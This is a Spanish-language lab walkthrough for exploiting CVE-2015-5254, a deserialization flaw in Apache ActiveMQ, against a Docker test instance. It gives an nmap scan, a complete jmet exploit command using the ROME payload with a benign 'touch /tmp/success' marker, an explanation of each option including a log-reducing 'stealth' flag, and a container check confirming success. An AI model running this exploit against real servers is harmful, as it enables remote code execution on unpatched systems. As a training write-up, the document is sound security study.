
Guía de explotación paso a paso para la vulnerabilidad de deserialización CVE-2015-5254 de Apache ActiveMQ usando jmet, con configuración de laboratorio basada en Docker y verificación.
La vulnerabilidad CVE-2015-5254 es una falla de seguridad en Apache ActiveMQ, un servidor de mensajes de código abierto ampliamente utilizado para la comunicación entre aplicaciones. Esta vulnerabilidad afecta a las versiones de ActiveMQ hasta la 5.13.0 y reside en la falta de filtrado en los datos de entrada JMS ObjectMessage enviados.
Escaneo de red: nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1

Lanzamos ActiveMQ 2015 desde su carpeta descargada con Docker:

Verificamos la versión de ActiveMQ:

Se trata de la versión 5.11.1
Explotación:
Para esta vulnerabilidad, utilizaremos el comando:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.17.0.1 61616
Este comando ejecuta un intento de explotación de la vulnerabilidad CVE-2015-5254 de Apache ActiveMQ utilizando la herramienta jmet. Aquí está el desglose de cada opción del comando:
java -jar jmet-0.1.0-all.jar : Lanza la herramienta jmet (Java Message Exploitation Tool) usando el archivo JAR autónomo (jmet-0.1.0-all.jar).
-Q event : Especifica la "cola" o la cola de mensajes objetivo en ActiveMQ, nombrada aquí "event". La herramienta enviará el mensaje malicioso a través de esta cola.
-I ActiveMQ : Indica que el objetivo es un servidor Apache ActiveMQ.
-s : Lanza la explotación en modo "stealth" (sigiloso), lo que a veces puede minimizar los registros o alertas generados en el objetivo.
-Y "touch /tmp/success" : Indica la carga útil maliciosa que se ejecutará en el servidor objetivo en caso de éxito. En este caso, el comando touch /tmp/success crea un archivo llamado success en la carpeta /tmp para demostrar que la explotación ha funcionado.
-Yp ROME : Utiliza el payload "ROME" para intentar explotar la vulnerabilidad (ROME es aquí un tipo específico de carga útil compatible con la herramienta para ActiveMQ).
172.17.0.1 61616 : Especifica la dirección IP (1720.17.0.1) y el puerto (61616) del servidor Apache ActiveMQ objetivo.
En resumen Este comando intenta explotar una falla de deserialización en Apache ActiveMQ inyectando un mensaje malicioso en la cola "event" para ejecutar un comando remoto. Si la explotación tiene éxito, el servidor ActiveMQ objetivo ejecuta el comando touch /tmp/success, lo que es un indicador de una explotación exitosa (creación de un archivo). En resumen, se quiere infiltrar un archivo llamado success en el sistema de archivos del servidor ActiveMQ, concretamente en /tmp/.

Observamos que el exploit ha tenido éxito !!!
Tenemos el siguiente mensaje de detección en Apache ActiveMQ:

Hacemos clic en el mensaje:

Escribimos el conjunto de los siguientes comandos:
docker ps -a Para conocer el contenedor de ActiveMQ en ejecución, vemos el contenedor 19ab278527c7 Hacemos: docker exec -it 19ab278527c7 /bin/bash Para autenticarse en el servidor ActiveMQ a través de su contenedor.
Observamos que hemos logrado la autenticación y luego hemos verificado la creación del archivo success en /tmp/ :

Fin del exploit !!!